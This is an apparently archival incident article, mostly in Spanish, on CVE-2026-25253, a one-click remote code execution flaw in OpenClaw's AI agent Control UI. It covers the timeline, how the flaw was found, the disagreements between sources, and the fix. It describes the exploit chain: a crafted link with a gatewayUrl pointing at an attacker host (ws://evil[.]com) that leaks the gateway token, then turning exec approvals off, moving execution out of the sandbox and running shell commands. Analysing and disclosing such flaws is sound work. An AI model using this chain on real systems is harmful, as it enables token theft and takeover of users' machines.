Secuestro de WebSocket de la UI de control de OpenClaw: un enlace para RCE

El 29 de enero de 2026, la empresa de seguridad Ethiack publicó su informe sobre una falla en OpenClaw, el agente personal de IA de código abierto que se ejecuta en la propia máquina del usuario y se controla desde un panel de navegador llamado Control UI. Un enlace manipulado podía hacer que ese panel entregara a un atacante el token de autenticación de la puerta de enlace y, con él, la capacidad de ejecutar comandos de shell como el usuario que había iniciado sesión. CVE-2026-25253 se publicó el 1 de febrero de 2026 y el aviso propio del proyecto apareció al día siguiente; ambos calificaban la falla como 8.8, alta. Todo despliegue en el que alguien hubiera iniciado sesión en Control UI quedaba dentro del alcance, incluidas las instancias accesibles solo mediante loopback. Ninguna fuente consultada para este artículo registra que la falla se haya utilizado contra un usuario real. El archivo registra el episodio como un incidente de infraestructura de gravedad alta, con una calificación de confianza B y una fecha con precisión de día del 29 de enero de 2026, junto con sus otras entradas de seguridad de agentes en el Orca AI Incident Archive.

Qué hizo Control UI con una URL

OpenClaw es un agente autoalojado al que sus usuarios acceden mediante aplicaciones de mensajería y un panel web, y que opera con lo que el informe de Ethiack denomina "acceso total al sistema". El proyecto ya había cambiado de nombre más de una vez, con los nombres Clawdbot y Moltbot antes de OpenClaw, y el registro de npm recoge el paquete openclaw como creado el 29 de enero de 2026 a las 11:08 UTC. El panel es la pieza que importa aquí: mantenía el token de la puerta de enlace en el almacenamiento del navegador, y es donde residía el fallo.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Dos hechos de los navegadores convierten esa filtración en una toma de control. Los navegadores no aplican la política de mismo origen a las conexiones WebSocket de la misma forma que a las solicitudes HTTP ordinarias, y la pasarela no validó el encabezado Origin durante la actualización, por lo que el JavaScript de una página que visitara la víctima podía abrir un socket directamente a ws://localhost:18789 (depthfirst, 1 de febrero de 2026). Como es el propio navegador de la víctima el que realiza la conexión saliente, el ataque llegaba a pasarelas vinculadas a loopback e invisibles desde la red. «Esta vulnerabilidad es explotable incluso en instancias configuradas para escuchar solo en loopback, ya que el navegador de la víctima inicia la conexión saliente», afirma el aviso del proyecto. Ethiack registró una condición adicional en ese momento: la versión estable de Chrome que probó no incluía el permiso de Acceso a la Red Local de forma predeterminada, por lo que el navegador tampoco mostraba ningún aviso.

Lo que compra el token robado es el resto de la historia. Llevaba los ámbitos operator.admin y operator.approvals. Con ellos, un atacante podía desactivar las aprobaciones de ejecución configurando exec.approvals.set en "off", sacar el host de ejecución del contenedor configurando tools.exec.host en "gateway", y luego ejecutar comandos de shell en el host mediante una node.invoke / system.run solicitud (depthfirst, 1 de febrero de 2026; The Hacker News, 2 de febrero de 2026). El aviso del proveedor resume el resultado en una frase: el atacante puede "modificar la configuración (sandbox, políticas de herramientas) e invocar acciones privilegiadas, logrando RCE con 1 clic".

Encontrado en menos de dos horas, por una máquina

El descubrimiento fue en sí mismo un ejercicio de IA. Ethiack lanzó a su agente autónomo de pruebas de penetración, Hackian, contra una instancia activa de OpenClaw el 26 de enero de 2026 a las 13:21 UTC. Confirmó la falla a las 15:05 UTC, aproximadamente una hora y cuarenta minutos después, que es la cifra que Ethiack destaca en el titular de su informe. La empresa lo reportó a los mantenedores de OpenClaw a las 18:02 UTC. Una pull request siguió el 27 de enero y la corrección llegó a la rama principal en la noche del 28 de enero, según la cronología publicada por Ethiack y el historial de commits del proyecto.

Un segundo equipo llegó a la misma conclusión de forma independiente. Mav Levin, investigador de seguridad fundador de depthfirst, publicó su propio análisis el 1 de febrero de 2026, en el que escribió que "el equipo de OpenClaw abordó y solucionó rápidamente el problema que reporté" y que otra persona había reportado el mismo error de forma independiente. El aviso de GitHub acredita a DepthFirstDisclosures como el informante y enumera tanto a 0xacb como a mavlevin entre los descubridores. La cuenta 0xacb tiene como nombre de perfil André Baptista, uno de los tres coautores del artículo de Ethiack, lo que encaja con la cronología: la pull request de Ethiack contra la corrección se abrió desde esa cuenta el 27 de enero y el commit de los mantenedores le da las gracias por su nombre. Ninguna fuente consultada para este artículo afirma que los dos esfuerzos se conocieran antes de la publicación, y ninguna cuestiona el crédito.

La fecha del registro y las fechas que la rodean

El archivo fecha esta entrada el 29 de enero de 2026 con precisión de día, y eso coincide con el día en que la investigación de Ethiack se hizo pública. La corrección del código ya había llegado el día anterior. La versión etiquetada que la incluía llegó en las primeras horas del 30 de enero UTC, que es la noche del 29 de enero en la hora del Pacífico de Estados Unidos: los registros de npm muestran la versión 2026.1.29 a las 04:49 UTC del 30 de enero, y la publicación de GitHub, a las 05:26 UTC. El registro CVE de MITRE está fechado el 1 de febrero de 2026 a las 22:34 UTC, el aviso de GitHub el 2 de febrero a las 23:41 UTC, y The Hacker News publicó el fallo el 2 de febrero.

La fuente citada en el registro, el rastreador de incidentes de agentes de Permission Protocol, mantiene su propia cronología, y algunas partes de ella van con retraso. Sitúa la publicación del parche en el 29/01/2026, en consonancia con el número de versión, pero fecha los «informes tempranos» de la vulnerabilidad en el 12/02/2026 y la amplia divulgación pública de CVE-2026-25253 en el 26/02/2026, con recopilaciones independientes el 24/03/2026. Los documentos primarios dicen lo contrario. La fecha del 26 de febrero corresponde al análisis del parche de SonicWall, publicado tres semanas y media después de que existiera el identificador, y el 12 de febrero cae entre los dos informes de investigación y el análisis del proveedor, en lugar de antes de ellos. La última fila de la cronología del rastreador también llama al mecanismo «zero-click»; el aviso del proveedor lo llama de 1 clic, y todos los relatos publicados describen a una víctima que tiene que abrir un enlace. Cuando esas fechas y etiquetas difieren, este artículo sigue el registro CVE, el aviso del proveedor y los dos informes de investigación.

Merece la pena señalar abiertamente una advertencia sobre esa fuente. Permission Protocol vende una puerta de autorización, y su entrada enmarca el incidente en torno a lo que su propio producto habría bloqueado. La página califica esa evaluación de condicional y dice de sí misma que «la fuente no establece un resultado de prevención del producto». Lo que el registro sí recoge con exactitud es su enfoque: la investigación fue pública tres días antes de que existiera el CVE, y por eso el archivo lo califica como un descubrimiento temprano anterior a CVE-2026-25253.

¿Qué se dañó realmente?

Nada, hasta donde consta en cualquier fuente. El archivo marca el registro real_harm false, y eso es coherente con todo lo publicado en torno a él. El Centro de Ciberseguridad de Bélgica emitió un aviso el 2 de febrero de 2026 en el que afirmaba que «Actualmente no hay pruebas de que esta vulnerabilidad se haya explotado en la naturaleza». Ni Ethiack, ni depthfirst, ni SonicWall, ni The Hacker News informan de una víctima, de una instalación comprometida ni de datos sustraídos, y ninguno de ellos da una cifra de cuántas instalaciones estuvieron expuestas. Ethiack solo observa que había «montones de instancias ejecutándose en servidores públicos» con una configuración débil, lo que es una impresión más que un recuento.

Lo que sí existe es código de exploit funcional. Ethiack publicó el código fuente completo del exploit junto con su informe y demostró la cadena contra su propia instancia. El análisis de SonicWall de febrero muestra la captura de tokens "utilizando un exploit disponible públicamente". Un repositorio de prueba de concepto de terceros apareció en GitHub el 9 de marzo de 2026. El código de exploit público no es lo mismo que la explotación, y el indicador de daño del archivo se refiere a esta última.

Una fuente es menos rigurosa que las demás y merece que se señale. El apartado de riesgos del aviso belga describe el propio bot renderizando contenido controlado por el atacante como el desencadenante, lo cual no es el mecanismo que aparece en el aviso del proveedor ni en ninguno de los dos informes de investigación: en los tres, se atrae al navegador de la víctima hacia un enlace y el agente es el objetivo, no el vehículo de entrega. Su afirmación sobre la explotación es la parte citable; su resumen del mecanismo, no.

Qué cambió y qué dejó abierto la primera corrección

La corrección en 2026.1.29 añadió un cuadro de diálogo de confirmación antes de que la Control UI cambie a una URL de gateway diferente. El aviso del proyecto describe el cambio como «Con el cambio, los usuarios ahora deben confirmar la nueva URL de gateway en la UI», y el archivo que renderiza el diálogo está presente en la etiqueta v2026.1.29. Eso eleva el coste del ataque de un clic a un clic más una confirmación deliberada. No elimina la confianza subyacente en un parámetro de URL.

La validación de origen, la otra mitad de la cadena, llegó más tarde. El análisis del parche de SonicWall registra que "las actualizaciones posteriores implementaron estrictos controles de validación de origen", enumerando cuatro comprobaciones: rechazar un encabezado Origin ausente o no válido; permitir un host Origin que coincida con el encabezado Host; permitir loopback a loopback; permitir orígenes nombrados en una lista allowedOrigins configurada; y rechazar todo lo demás. La secuencia es visible en el código fuente del proyecto en la etiqueta v2026.1.29, donde el manejador de actualización de WebSocket lee y registra el encabezado Origin sin aplicar una política al mismo.

Otras respuestas fueron de detección en lugar de código. SonicWall publicó la firma IPS 21908 para lo que denomina exposición de datos sensibles de OpenClaw. depthfirst recomendó actualizar y rotar el token de la puerta de enlace si se sospechaba exposición, lo cual se deduce directamente del mecanismo: un token robado sigue siendo válido hasta que alguien lo cambie.

Qué está establecido y qué no

Quedó establecido, a partir de documentos primarios: la ruta de código vulnerable leía gatewayUrl de la cadena de consulta y se conectaba automáticamente sin validación; la trama de conexión llevaba el token almacenado; el gateway no validaba el origen de WebSocket, por lo que un navegador en cualquier sitio podía alcanzar loopback; el token llevaba ámbitos de administración y aprobación; las versiones anteriores a 2026.1.29 estaban afectadas; y dos equipos encontraron el fallo de forma independiente, uno de ellos un agente autónomo que trabajaba desde fuera.

No está establecido: que alguien lo haya explotado, cuántas instalaciones eran alcanzables en ese momento y si el cuadro de diálogo de confirmación por sí solo bastaría para vencer a un atacante decidido. La calificación B del archivo refleja una base de citas de un único rastreador secundario, no ninguna duda sobre los mecanismos, y el registro no está marcado como en disputa. Esos mecanismos están corroborados por el aviso del proveedor, por el registro CVE de MITRE y por dos informes de investigación independientes, lo que es más de lo que el propio registro afirma por sí solo.

El resumen de una línea del archivo califica esto como un descubrimiento temprano anterior a CVE-2026-25253, y esa es la forma correcta de leer la entrada: un registro de una falla encontrada, reportada y corregida antes de tener un identificador, en un producto diseñado para ejecutar comandos en la máquina en la que reside. La CVE que siguió describe los mismos tres comportamientos —un parámetro de consulta, una conexión no solicitada y un token en el handshake—, y ninguna fuente consultada para este artículo sitúa a nadie al otro lado de ello.